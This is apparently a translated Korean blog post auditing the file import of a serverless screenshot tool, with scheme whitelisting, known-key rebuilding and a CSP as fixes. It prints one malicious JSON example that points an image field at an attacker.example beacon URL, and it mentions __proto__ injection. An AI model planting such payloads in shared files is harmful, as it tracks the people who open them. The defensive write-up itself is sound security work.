
저장·불러오기 기능은 그 자체로 신뢰 경계가 된다 (백엔드 없는 정적 도구를 감사한 이야기)
요약
서버나 DB가 없는 정적 도구에서도 파일 내보내기/가져오기 기능을 통해 보안 취약점이 발생할 수 있음을 경고합니다. JSON 파일 내의 스킴(Scheme) 검증 미비로 인한 데이터 유출 사례와 Object.assign을 이용한 프로토타입 오염 위험을 다룹니다.
핵심 포인트
- 내보낸 파일은 사용자가 수정 가능하므로 신뢰할 수 없음
- 이미지 로드 시 data: 스킴 화이트리스트 검증 필수
- JSON.parse와 Object.assign 조합 시 프로토타입 오염 주의
- img.src, fetch, href 등 외부 입력이 도달하는 지점 전수 조사 필요
「이 앱은 서버도 DB도 없으니까, 보안은 생각하지 않아도 돼」
스스로 그렇게 생각하고 있었고, 실제로 감사(Audit)를 해보니 3건이 나왔다는 이야기입니다. 발견된 장소가 전부 같은 곳이었습니다. 자신의 앱이 써낸 파일을 자신의 앱에서 읽어들이는 처리입니다.
내보내기(Export)/가져오기(Import) 기능을 가진 앱이라면, 스택에 관계없이 똑같은 구멍이 생길 수 있다고 생각하기에 패턴으로서 공유합니다.
이 기사는 Zenn에 쓴 기사를 바탕으로, 범용적으로 사용할 수 있는 형태로 재구성한 것입니다. 내용은 모두 자신의 OSS (MIT)에서 확인하고, 수정 및 재검증까지 마쳤습니다.
App Store의 스크린샷을 만드는 개인 도구입니다.
- 서버 없음, DB 없음, 로그인 없음, 외부 통신 없음
index.html단 한 장. 빌드도 없음 - 브라우저에서 열고, 이미지를 드롭하고, 내보내면 끝
그리고 덱 전체(문구·이미지·스타일)를 하나의 .json 파일로 저장하는 기능이 있습니다. 나중에 다시 시작할 수 있다는 점과, 타인에게 전달할 수 있다는 점이 특징이었습니다. 이 「타인에게 전달할 수 있다」는 점이 이번 사례의 전부입니다.
가장 결정적이었던 것은 이것이었습니다. 불러오기(Load) 측은 이렇게 작성되어 있었습니다.
// 수정 전
DEVS.forEach(dev => {
const src = sd.img && sd.img[dev];
...
저장할 때는 반드시 data:image/png;base64,...를 내보냅니다. 그래서 읽을 때도 그럴 것이라고, 아무 생각 없이 믿고 있었습니다. 하지만 .json은 단순한 텍스트이므로, 받은 사람이 내용을 수정할 수 있습니다.
{ "style": { "bgImg": "https://attacker.example/beacon.png?id=abc" } }
이것을 열면, 브라우저는 순순히 가져가려고 시도합니다. 공격자에게 보이는 것은, 파일을 연 사람의 IP 주소, User-Agent, 그리고 「언제 열었는가」입니다. 화면상으로는 아무 일도 일어나지 않습니다. 불러오기에 실패한 이미지가 한 장 있을 뿐이라서, 알아챌 요소가 없습니다.
RCE(원격 코드 실행)나 데이터 유출은 아니지만, 이 도구의 셀링 포인트가 「로컬 완결·업로드 없음·트래킹 없음」이기 때문에, 타인에게 받은 파일을 하나 여는 것만으로 그 전제가 무너집니다. 심각도라기보다는, 약속한 것을 지키지 못하는 상태였습니다.
대책은 스킴(Scheme)의 화이트리스트(Whitelist)뿐입니다.
const IMG_DATA_RE = /^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,[A-Za-z0-9+/=\s]+$/i;
function safeImgSrc(v){ return (typeof v === "string" && IMG_DATA_RE.test(v)) ? v : null; }
인라인 data:만 허용하고, 그 외에는 null로 떨어뜨립니다.
확인해야 할 곳: img.src, fetch, a.href, link.href, CSS의 url(), iframe.src. 파일 유래의 문자열이 여기에 도달하고 있지 않은가. 도달하고 있다면, 스킴을 검증하고 있는가.
같은 처리 과정에 이것도 있었습니다.
// 수정 전
if (d.style) Object.assign(state.style, d.style);
언뜻 보기에는 평범한 병합(Merge)이지만, JSON.parse와 Object.assign의 조합에는 함정이 있습니다.
JSON.parse('{"__proto__":{...}}')는,__proto__를 자기 자신의 프로퍼티로서 가지는 객체를 만듭니다. 여기서는 setter가 호출되지 않습니다.- 반면
Object.assign은 복사 대상(Target)에 그것을 사용합니다. 즉,[[Set]]target.__proto__ = {...}라고 쓴 것과 동일하게 취급되어, 이번에는 setter가 호출됩니다.
결과적으로, 복사 대상의 프로토타입(Prototype)이 교체됩니다. Object.prototype 전체를 오염시키는 것은 아니기에 영향은 한정적이지만, 존재하지 않아야 할 키가 in이나 for...in에 나타나는 상태는 상정하고 있지 않습니다.
또한 Object.assign은 미지의 키나 값의 타당성도 보지 않으므로, titleSize: 999...
도 bg1: "red;background:url(...)"
역시 그대로 통과됩니다.
대책으로 머지 (Merge)를 중단하고, 기지 (Known)의 키(Key)만 다시 구성하기로 했습니다.
function sanitizeStyle(r){
if (!r || typeof r !== "object") return;
const s = state.style;
...
__proto__
는 「모르는 키」로서 단순히 탈락하고, 숫자는 범위 내로 클램프 (Clamp)되며, 색상은 형식 체크 (Format check)를 통과합니다. 위험한 키를 걸러내는 것이 아니라, 안전한 키만 집어내는 방식입니다.
structuredClone
이나 단순한 딥 머지 (Deep merge)를 직접 구현하고 있는 경우도 같은 관점에서 바라보는 것이 좋습니다. Object.create(null)
로 한 번 옮기거나, __proto__
를 명시적으로 제거하는 등의 회피 방법도 있지만, 키를 제한하는 것이 가장 이해하기 쉽다고 생각합니다.
이것은 사소하지만, 아마 가장 흔히 발생하는 유형일 것입니다.
// 수정 전
if (tt) s.loc[L] = { title: tt.title || "", subtitle: tt.subtitle || "" };
|| ""
는 「비어 있으면 빈 문자열」이라는 의도로 작성한 것이지만, title
이 12345
라면 숫자 그대로 통과합니다. 표시 측에서는 title.trim()
을 호출하기 때문에, trim is not a function
으로 그 자리에서 앱이 종료됩니다. {}
의 경우도 마찬가지입니다. TypeScript로 타입을 작성하더라도, JSON.parse
의 반환값은 실행 시점에 무엇이든 될 수 있으므로, 타입이 지켜지지 않습니다.
개수도 마찬가지였습니다. 에디터 측에서는 10장으로 제한하고 있는데, 파일을 통해서라면 5만 장의 덱 (Deck)을 전달할 수 있습니다.
// 수정 후
state.slides = d.slides.slice(0, 10).map(sd => { // 에디터와 동일한 상한
...
...
UI의 유효성 검사 (Validation)는 UI의 편의를 위한 것일 뿐이라는 이야기지만, 잊고 있었습니다.
이것은 취약점이 아니라 일반적인 버그입니다.
// 수정 전
if (d.device === "iphone" || d.device === "ipad") state.device = d.device;
이 도구는 처음에 iPhone과 iPad뿐이었습니다. 그 후 Android, iPhone 6.7인치, Android 태블릿, Mac, 피처 그래픽 (Feature graphic) 등으로 늘어나 현재는 7개 기종이 있습니다. 내보내기 처리는 공통의 DEVS
를 순회하도록 리팩터링 (Refactoring)이 완료된 상태였음에도, 이 한 줄만 옛날 상태 그대로 남아 있었습니다.
그래서 Mac 표시 중에 저장하고 다시 불러오면, 말없이 iPhone으로 돌아갑니다. 에러도 경고도 발생하지 않습니다.
// 수정 후
if (DEVS.includes(d.device)) state.device = d.device;
이것을 찾아낼 수 있었던 것은, 「파일로부터 오는 값을 하나씩 전부 나열하고, 각각 무엇을 검증하고 있는지 적어 내려가는」 작업을 했기 때문입니다. 보안 목적의 자산 조사 (Inventory)가 일반적인 버그를 찾아내는 것은 꽤 흔한 일인 것 같습니다.
수정에 더해 CSP의 meta 태그를 넣었습니다.
<meta http-equiv="Content-Security-Policy" content="
default-src 'none'; img-src 'self' data: blob:; font-src 'self';
style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline';
...
효과가 있는 부분은 img-src
에 http(s)
가 들어있지 않다는 점입니다. 향후 회귀 테스트 (Regression)에서 검증이 누락되더라도, 브라우저 측에서 외부로 향하는 이미지 취득을 차단합니다. connect-src 'none'
으로 fetch, XHR, WebSocket도 차단됩니다.
앱 전체가 하나의 인라인 스크립트 (Inline script)이므로 'unsafe-inline'
은 제거할 수 없습니다. 그 부분은 포기했습니다. 지키고자 하는 것이 「주입된 스크립트의 실행」보다는 네트워크로 나가지 않는 것이기에, 우선순위로서는 이것이 맞다고 생각했습니다.
부수적인 효과로, 이것은 주장의 증명이 되기도 합니다. 「트래킹하지 않습니다」는 구두 약속이지만, CSP가 설정되어 있다면 DevTools의 Network 탭을 여는 것만으로 누구나 확인할 수 있습니다.
단순히 고치는 것으로 끝내지 않았습니다. 악의적인 프로젝트 파일을 하나 만들어 모든 공격 요소를 가득 담아 던져보았습니다.
| 공격 | 감사 시 | 수정 후 |
|---|---|---|
bgImg에 원격 URL 삽입 | 그대로 가져옴 | null (통신 0건) |
__proto__ 주입 | 프로토타입이 교체됨 | 알 수 없는 키로 폐기 |
titleSize: 999 | 그대로 적용 | 0.3으로 클램핑 (Clamp) |
| 폰트 이름에 태그 혼입 | 그대로 채택 | 기본값 유지 |
| 슬라이드 50장 | 50장 모두 생성 | 10장으로 제한 |
| 타이틀이 숫자 | .trim()으로 예외 처리 | 빈 문자열로 정규화 |
| Mac에서 저장 후 재로드 | iPhone으로 돌아감 | Mac 상태로 복원 |
DevTools의 Network 탭은 요청 0건, 콘솔의 에러도 0건이었습니다.
함께 정상 케이스(Normal case)도 확인했습니다. 정상적인 파일로 스크린샷 6장, 스타일, 단말기, 일본어 텍스트가 오가고, 내보내기도 규격대로(1284×2778, PNG 컬러 타입 2 = 알파 없는 RGB) 수행되었습니다. 방어책을 추가하다 기능이 망가진다면 본말전도이기에, 이 부분은 매번 세트로 확인하고 있습니다.
참고로, XSS는 원래 없었습니다. 사용자의 텍스트가 innerHTML에 들어가는 곳은 단 한 군데뿐이었고, 처음부터 이스케이프 (Escape) 처리를 해두었습니다. eval이나 외부 리소스 참조도 0건입니다.
- "백엔드가 없다"는 "외부 입력이 없다"는 뜻이 아니다.
- 파일을 여는 기능이 있는 시점에서, 그곳이 신뢰 경계 (Trust Boundary)다 - 저장한 것이 자신일지라도, 열 때 전달되어 오는 것은 타인이다. 오가는 데이터는 돌아오는 쪽에서만 검증이 필요하다.
- 구체적으로 확인해야 할 3가지:
- 파일 유래 문자열이 URL로 사용되고 있지는 않은가 (
img.src/fetch/href/url()) - 파싱(Parse)한 JSON을
Object.assign으로 병합(Merge)하고 있지는 않은가. 알려진 키(Known key)만 다시 조립해야 한다. - UI에서 지키고 있는 제약 사항(타입, 길이, 개수)이 파일 경로에서도 지켜지고 있는가.
- 파일 유래 문자열이 URL로 사용되고 있지는 않은가 (
- 파일 유래 문자열이 URL로 사용되고 있지는 않은가 (
- CSP는 네트워크로 나가지 않는다는 것을 구두 약속에서 검증 가능한 상태로 만들어 준다.
AI가 작성한 코드라면 저장과 읽기를 반복하며 작성하는 경우가 많을 것입니다. 그때 읽기 측은 저장 측의 출력만을 상정합니다. 자신이 작성한 형식을 암묵적으로 신뢰하는 코드가 되기 때문에, 이 부분은 인간이 지적하지 않으면 나타나지 않는 부분이었습니다.
감사한 도구는 이것입니다. App Store의 스크린샷을 만드는 작은 도구이지만, MIT 라이선스로 공개하고 있습니다.
AI 자동 생성 콘텐츠
본 콘텐츠는 Qiita AI의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기